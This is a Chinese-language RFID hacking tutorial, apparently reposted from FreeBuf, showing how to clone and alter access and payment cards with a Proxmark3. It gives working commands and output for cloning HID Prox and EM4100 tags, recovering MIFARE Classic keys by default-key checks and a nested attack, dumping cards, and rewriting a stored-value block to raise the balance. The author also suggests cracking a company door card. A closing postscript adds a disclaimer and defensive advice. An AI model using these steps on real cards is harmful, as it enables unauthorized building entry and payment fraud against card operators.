随着智能设备NFC功能的普及,用RFID卡支付现金的模式也越加流行。现在的非接触式卡片(包括但不限于社保卡、饭卡、交通卡、门禁卡等)都是使用的RFID技术。
这么看来射频识别技术(RFID)是一个应用相当广泛的技术,智能卡通常会被做成小钥匙扣、卡片以及贴纸的样子。你可以在很多不同的系统设备中看到它出现的影子,而且往往都是与取款以及门禁系统有关。我对无线技术十分感兴趣,尤其对射频识别技术系统感兴趣,所以当我研究HID iClass系统时,我就入手了一个proxmark3。
Proxmark3是由Jonathan Westhues设计开发的开源硬件,其主要用途是实现RFID的嗅探、读取以及克隆等等操作。Proxmark3主要是针对RFID而开发的工具,虽然也有一些其它的工具,但Proxmark3属于主流工具。它可以嗅探、模拟以及读取多种不同种类型的RFID,同时它还有一个官方社区,这里有不少同样的爱好者在里面学习交流。
购买Proxmark
在Proxmark官网上已经列出了一些供应商,你可以在里面选择一个供应商进行购买。我购买了Proxmark RDV2,它虽不是开源版本,但却是在初始版本的改进版。值得注意的是,我购买的版本更小巧,同时可以用电池对设备供电,支持MMCX,而非USB接口。
当然你也可以在不同的网站购买设备,你可以去美国网站Rysc Corp上购买,或就近在香港购买,但需要248美元,如果Rysc Corp上购买则需要299美元(不含运费)。而实际上我在购买Proxmark RDV2基本上也就需要212.00美元,美国运送费用为36.30美元(随运送距离不同费用也会越高),合计为248.30美元。
如果你仔细研究会发现,通过AliExpress网站购买,可以省下一大笔钱,花费在190美元(包邮),就性价比来说,甚至比“Proxmark 3 Easy”更便宜。
PM3 Easy是Proxmark系列中相对较便宜的版本,售价约为100美元,但却阉割了一些功能,这个版本仅针对中国国内市场的版本,因此删除了一些功能,删掉的功能如下:
AT91SAM7S256(内存256kb)
移除锂电池管理和插座模块
阉割了一些电子元器件,如继电器和信号放大器
可使用不同的天线连接功能
想了解更多相关内容可以访问Proxmark官方论坛
总的来说,Proxmark 3的原始版本设计已经过时,你应该使用新版本的硬件设计。
在硬件方面,根据你具体使用Proxmark 3(以下简称PM3)型号的不同,配置方式也大不相同。原始版本PM3外接USB天线,你可以随意插拔,但在RDV2上就不能这样操作,首先你必须要连接MMCX,之后才可以使用RDV2,就相当于你需要将这一块加入主体,即将天线模块安装进主板中。我没有这样做,而是用胶将MMCX以及天线粘黏到板子上。
完成上部分操作之后,你就可以按照PM3说明文档进行配置固件,据我了解可知,Proxmarks很它使用相同的固件,因此在软件配置及操作上不会有太大区别。
我下面的配置并没有涉及完整的软件配置,我做到的也仅仅是说明中的一部分。在某些时候,出于性能上的考虑,PM3会将USB接口转化为串行接口,同时使用串行接口可以解决在虚拟机中运行问题。
如果你决定在虚拟机进行操作,那么在Linux会上运行会比Windows更好一些,这一点上我不会做出太多说明,但我在后面文章中使用PM3用户界面时,明显效果更好一些。我在虚拟机中安装Windows 7,或可将GUI(Linux)作为PM3用户界面。总的来说,烧写PM3固件可能是一个烦人的过程,但你真的需要做那么一两次。
在美国有许多常见的RFID认证技术,我下面列举在日常生活参见的四个:
HID iClass(13.56 MHz)
HID Prox 卡(125 kHz)
EM4100x卡(125 kHz)
MIFARE Classic(13.56 MHz)
我将详述最后三部分,同时我在下文也会介绍如何读/写iClass卡。
对于一些不清楚的RFID 电子标签以及RFID卡,我们将尝试克隆/修改每个标签的内容。首先我们需要弄清楚每张卡片背后的技术是什么。 一般来说,您可以搜集序列号,制造商信息和数据表单信息,然后通过网络查询研究这些信息。PM3可以可以使用指令 lf search、hf search查询,这两个命令将分别在低频(125 kHz)和高频(13.56 MHz)范围内搜索可用电子标签。
我们来看看更受欢迎的HID ProxCard
在卡的正面有一些数字以及单词(HID Proximity),如果你去网上搜索,你可以发现这是一张HID Prox 卡,可以通过Proxmark指令克隆一张卡。
我们可以使用lf search指令搜索前文提到的电子标签
proxmark3> lf search
#db# DownloadFPGA(len: 42096)
Reading 30000 bytes from device memory
Data fetched
Samples @ 8 bits/smpl, decimation 1:1
NOTE: some demods output possible binary
if it finds something that looks like a tag
False Positives ARE possible
Checking for known tags:
HID Prox TAG ID: 2004263f88 (8132) - Format Len: 26bit - FC: 19 - Card: 8132
Valid HID Prox ID Found!
我们很清楚这是一张Prox 卡,如果需要将当前卡系统从 HID Prox 升级到 HID iCLASS 凭证,就需要特殊指令,我们现在已经知道标签ID(2004263f88),但我可以输入lf hid fskdemod指令读取智能卡(按下PM3上的按钮停止扫描)
proxmark3> lf hid fskdemod
#db# TAG ID: 2004263f88 (8132) - Format Len: 26bit - FC: 19 - Card: 8132
#db# Stopped
该ID标签(19)以及卡ID(8132)的编码,你可以在线使用韦根协议(26位)计算器检查一下。这就意味着你需要了解数据并克隆到卡上(写入到卡本身)。
大多数低频电子标签没有任何复杂的认证方案或任何防止重放攻击的保护,所以扫描现有的智能卡,并克隆一张,并不是一件难事。使用高功率读卡器,可以在距离较远的位置窃取RFID电子标签。
我现在已经知道标签ID,现在需要一张空白的RFID卡,我们可以克隆标签ID。最好是t5577卡,它可以复制多种低频智能卡,包括这里讨论的两个(HID Prox 卡,EM41000卡)。
我已经了解到标签ID,那么就可以很轻松的克隆一张卡
proxmark3> lf hid clone 2004263f88
Cloning tag with ID 2004263f88
#db# DONE!
现在T5577卡电子标签应该与被克隆卡标签一致,成功了!!
除了读写操作之外,PM3还能够模拟RFID电子标签,但可能没有你想象的那么直观,你需要将计算机连接到PM3上,并执行一些指令,这对渗透测试者有帮助,但读写操作适用于绝大多数使用者。
EM4100卡不像HID Prox 卡那样常见,但不代表它不会出现,PM3功能同样适用于它。
我们继续使用lf搜索命令
proxmark3> lf search
#db# DownloadFPGA(len: 42096)
Reading 30000 bytes from device memory
Data fetched
Samples @ 8 bits/smpl, decimation 1:1
NOTE: some demods output possible binary
if it finds something that looks like a tag
False Positives ARE possible
Checking for known tags:
EM410x pattern found:
EM TAG ID : 8800180E55
Unique TAG ID : 11001870AA
Possible de-scramble patterns
HoneyWell IdentKey {
DEZ 8 : 01576533
DEZ 10 : 0001576533
DEZ 5.5 : 00024.03669
DEZ 3.5A : 136.03669
DEZ 3.5B : 000.03669
DEZ 3.5C : 024.03669
DEZ 14/IK2 : 00584117128789
DEZ 15/IK3 : 000073016045738
DEZ 20/ZK : 01010000010807001010
}
Other : 03669_024_01576533
Pattern Paxton : 2284604501 [0x882C4C55]
Pattern 1 : 4457436 [0x4403DC]
Pattern Sebury : 3669 24 1576533 [0xE55 0x18 0x180E55]
Valid EM410x ID Found!
这是一张EM4100卡,我可以使用更多的EM4100 RFID指令,读取标签ID
proxmark3> lf em4x em410xdemod 1
#db# DownloadFPGA(len: 42096)
#db# EM TAG ID: 8800180e55 - (03669_024_01576533)
获取标签ID之后,写入到一张T5577卡中
proxmark3> lf em4x em410xwrite 8800180e55 1
Writing T55x7 tag with UID 0x8800180e55 (clock rate: 64)
#db# Started writing T55x7 tag ...
#db# Clock rate: 64
#db# Tag T55x7 written with 0xffc62000e20ea94e
大多数低频RFID电子标签破解适用于刚入门的新手,你仅需要了解读/写/克隆/仿真的玩法。
接下来,我们将看看一张更复杂但最终被破解的智能卡,MIFARE Classic协议的NFC卡(以下简称MIFARE卡)。
NFCA协议是兼容MifareClassic 协议的, 我们可以通过NfcA在android的相关类来处理给予MifareClassic 的RFID卡。MIFARE 卡应用很广泛,它应用的领域也大不相同,如公交卡、干洗店洗衣卡、身份证,很不幸的一点就是,这样的卡也会被破解。
一般来说,给予MifareClassic的射频卡,一般内存大小有3种:
1K: 16个分区(sector),每个分区4个块(block),每个块(block) 16个byte数据
2K: 32个分区,每个分区4个块(block),每个块(block) 16个byte数据
4K:64个分区,每个分区4个块(block),每个块(block) 16个byte数据
对于所有基于MifareClassic的卡来说,每个区最后一个块叫Trailer,16个byte, 主要来存放读写该区的key,可以有A,B两个KEY,每个key长6byte,默认的key一般是FF 或 0,最后一个块的内存结构如下:
Block 0 Data 16bytes
Block 1 Data 16 bytes
Block 2 Data 16 bytes
Block 3 Trailer 16 bytes
Trailer:
Key A: 6 bytes
Access Conditions: 4 bytes
Key B: 6 bytes
所以在写卡的内存的时候,一般不能写每个sector的最后一个block,除非你有要修改KEY和访问权限的需求。如果KEY A 被你不小心修改掉了,而你不知道修改成什么,那与之对应的那个sector你就没有办法访问了。因为在MifareClassic中,如果你要读取数据,那么必须要有这个数据地址所在的sector的权限,这个权限就是这个sector的trailer的keyA或KEY B。下面我们将使用高频天线来读取高频MIFARE卡。
我开始使用hf指令搜索并识别MIFARE卡
proxmark3> hf search
#db# DownloadFPGA(len: 42096)
UID : bc 4e a5 35
ATQA : 00 04
SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
Answers to chinese magic backdoor commands: NO
Valid ISO14443A Tag Found - Quitting Search
不幸的是,MIFARE卡不像之前的低频卡克隆那样容易,它利用简单的认证方式,阻止我们克隆UID。虽然我们可以从卡中读取某些块,但是由于“认证错误”,其它块并不可用:
成功读取
proxmark3> hf mf rdbl 0 A FFFFFFFFFFFF
--block no:0, key type:A, key:ff ff ff ff ff ff
#db# READ BLOCK FINISHED
isOk:01 data:01 02 03 04 04 08 04 00 00 00 00 00 00 00 00 00
失败读取
proxmark3> hf mf rdbl 5 A FFFFFFFFFFFF
--block no:5, key type:A, key:ff ff ff ff ff ff
#db# Authentication failed. Card timeout.
#db# Auth error
#db# READ BLOCK FINISHED
isOk:00
起初发现这个问题,我觉得很奇怪,但很快发现前文提到的key,这是我在网上找到的资料。MIFARE Classic 1K射频卡有1024字节可储存数据,同时分为分为16个扇区,每个扇区由两个不同的key保护(前文说明的A,B),出于某种原因,一些MIFARE卡仅使用默认key,这样就造成可以利用应用程序测试key,并针对卡进行测试。
PM3具有“测试key(块)”指令,它将测试我们的默认key。
proxmark3> hf mf chk * ?
No key specified, trying default keys
chk default key[ 0] ffffffffffff
chk default key[ 1] 000000000000
chk default key[ 2] a0a1a2a3a4a5
chk default key[ 3] b0b1b2b3b4b5
chk default key[ 4] aabbccddeeff
chk default key[ 5] 4d3a99c351dd
chk default key[ 6] 1a982c7e459a
chk default key[ 7] d3f7d3f7d3f7
chk default key[ 8] 714c5c886e97
chk default key[ 9] 587ee5f9350f
chk default key[10] a0478cc39091
chk default key[11] 533cb6c723f6
chk default key[12] 8fd0a4f256e9
--sector: 0, block: 3, key type:A, key count:13
Found valid key:[ffffffffffff]
...omitted for brevity...
--sector:15, block: 63, key type:B, key count:13
Found valid key:[ffffffffffff]
我可以使用默认key(ffffffffffff)读取大多数块,但有些没有包含在内。我可以使用“Nested攻击”,我们可以使用我们的一个可用的key来识别其它块的key。
proxmark3> hf mf nested 1 0 A ffffffffffff d
Testing known keys. Sector count=16
nested...
-----------------------------------------------
uid:bc4ea535 trgbl=4 trgkey=0
Found valid key:080808080808
-----------------------------------------------
uid:bc4ea535 trgbl=8 trgkey=0
Found valid key:080808080808
Time in nested: 7.832 (3.916 sec per key)
-----------------------------------------------
Iterations count: 2
|---|----------------|---|----------------|---|
|sec|key A |res|key B |res|
|---|----------------|---|----------------|---|
|000| ffffffffffff | 1 | ffffffffffff | 1 |
|001| 080808080808 | 1 | ffffffffffff | 1 |
|002| 080808080808 | 1 | ffffffffffff | 1 |
|003| ffffffffffff | 1 | ffffffffffff | 1 |
|004| ffffffffffff | 1 | ffffffffffff | 1 |
|005| ffffffffffff | 1 | ffffffffffff | 1 |
|006| ffffffffffff | 1 | ffffffffffff | 1 |
|007| ffffffffffff | 1 | ffffffffffff | 1 |
|008| ffffffffffff | 1 | ffffffffffff | 1 |
|009| ffffffffffff | 1 | ffffffffffff | 1 |
|010| ffffffffffff | 1 | ffffffffffff | 1 |
|011| ffffffffffff | 1 | ffffffffffff | 1 |
|012| ffffffffffff | 1 | ffffffffffff | 1 |
|013| ffffffffffff | 1 | ffffffffffff | 1 |
|014| ffffffffffff | 1 | ffffffffffff | 1 |
|015| ffffffffffff | 1 | ffffffffffff | 1 |
|---|----------------|---|----------------|---|
Printing keys to binary file dumpkeys.bin...
注意:在早期Nested 攻击命令中,输入d(参数)将key转储到dumpkeys.bin文件,才能够保证继续使用 MIFARE卡其它指令。现在我们有一个新key,080808080808。该key允许我们读取隐藏块。
proxmark3> hf mf rdbl 5 A 080808080808
--block no:5, key type:A, key:08 08 08 08 08 08
#db# READ BLOCK FINISHED
isOk:01 data:00 0a 00 00 ff f5 ff ff 00 0a 00 00 05 fa 05 fa
dumpkeys.bin文件已经准备好,我们可以转储整个卡的数据,并将其写入到空白的MIFARE卡上。
proxmark3> hf mf dump 1
|-----------------------------------------|
|------ Reading sector access bits...-----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
...omitted for brevity...
#db# READ BLOCK FINISHED
|-----------------------------------------|
|----- Dumping all blocks to file... -----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
Successfully read block 0 of sector 0.
...omitted for brevity...
Successfully read block 3 of sector 15.
Dumped 64 blocks (1024 bytes) to file dumpdata.bin
借助dumpdata.bin文件,我们可以将此卡的内容还原到另一张卡上,输入命令:hf mf restore 1,然而,克隆一张MIFARE卡效率还是很低(totem pole),使用新key,我就可以读写一张空白卡,这种卡通常被作为车票卡,一些人可能会想到是否可以修改里面的金额。先来看看卡中部分转存数据
bc4e a535 6288 0400 8500 b42e f0bb 6aa8
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
ffff ffff ffff ff07 8069 ffff ffff ffff
4f54 4f54 0050 0082 0136 000b 0000 0000
4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa
0000 0000 0101 0000 0000 0001 0100 0000
得到的数据不能解析,再次重复以上步骤,然后查看数据
bc4e a535 6288 0400 8500 b42e f0bb 6aa8
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
ffff ffff ffff ff07 8069 ffff ffff ffff
4f54 4f54 0050 0082 0136 000b 0000 0000
3205 0000 cdfa ffff 3205 0000 05fa 05fa
0000 0000 0101 0000 0000 0001 0100 0000
其中一行数据由
4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa
变为
3205 0000 cdfa ffff 3205 0000 05fa 05fa
当时虽然没有立刻看明白这行数据意思,但已经明白卡上肯定存在一个可以变化的数值,最简单的一个假设是,卡正在存储金额,然后扣去交易额。我们的起始价值(7.75),一个项目的开支成本(2.25)和差值(5.50)。
我们可以将这些数据转为16进制,为了简化搜索,我们只需75,将其转换为十六进制(0x4b),然后搜索第一个转储数据值:
4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa
这样我就发现了卡存储金额的部分了,特别是考虑到以下字节0×07。因此,我们应该能够通过修改这些字节来增加我们卡的金额。
你可以不需要理解字节的详细含义,它们并不重复,在前面两次转储数据,可以看出没有什么规律,这一点上需要小心谨慎,用ffff(前文)替换我们的金额数值,仅需要重新将获取的数据写入智能卡中。
注意:有人指出其中两个数值b4f8和4b07加起来是ffff,其实这是校验和的数值,读卡者可以利用这个来确认卡的金额是否在交易完成后更新。
我已经将卡中数值更改到17.50,我们可以采取新的转储数据并保存第5块的结果(存储值)。
Block 0: bc4e a535 6288 0400 8500 b42e f0bb 6aa8
Block 1: 0000 0000 0000 0000 0000 0000 0000 0000
Block 2: 0000 0000 0000 0000 0000 0000 0000 0000
Block 3: ffff ffff ffff ff07 8069 ffff ffff ffff
Block 4: 4f54 4f54 0050 0082 0136 000b 0000 0000
Block 5: 3211 0000 cdee ffff 3211 0000 05fa 05fa
Block 6: 0000 0000 0101 0000 0000 0001 0100 0000
现在我们可以无限制将卡中数值更改到17.50。
写入(块)
proxmark3> hf mf wrbl 5 A 080808080808 32110000cdeeffff3211000005fa05fa
--block no:5, key type:A, key:08 08 08 08 08 08
--data: 32 11 00 00 cd ee ff ff 32 11 00 00 05 fa 05 fa
#db# WRITE BLOCK FINISHED
isOk:01
读出(块)
proxmark3> hf mf rdbl 5 A 080808080808
--block no:5, key type:A, key:08 08 08 08 08 08
#db# READ BLOCK FINISHED
isOk:01 data:32 11 00 00 cd ee ff ff 32 11 00 00 05 fa 05 fa
即使没有使用默认key,我们也可以嗅探真实的读卡器和卡之间的通信协议,并获取关键key。只要我们知道一个现有的key,我们就可以利用前文提到的nested攻击识别其它key来获取对该卡的读/写访问。
通过从事多年RFID卡系统的安全研究,我得出一个结论,Proxmark 3可以说是研究RFID卡系统的最佳工具,并在研究过程中可以学习到很多相关知识。如果你有兴趣克隆RFID卡并了解这些系统的工作原理,我非常建议您选择ProxMark 3和T5577卡。当然你也可以将公司的门禁卡破解之后做成一把属于自己的小钥匙,这件事看起来也是比较有趣的。
*参考来源:kchung,饭团君编译,转载自FreeBuf.COM
读后感
1、本文内容仅供学习研究使用,请遵守当地法律法规。
2、使用mf1卡的商户不需要惊慌,在一些小额支付场所,mf1卡性价比还是很高的。同时,mf1卡的破解是需要成本的,本文的设备购买大概1000多人民币,而且不确定能正常破解。
3、根据上文的说明,建议正式使用时,将所有扇区加密,这样就无法使用nested攻击破解了。
4、可以优先考虑数据库存余额的方式,卡只是一个身份标识。联网交易时验证卡唯一号,这样在一定程度上提高了安全性。
5、如果对交易要求比较高,建议使用CPU卡,但相应成本也会增加几十倍。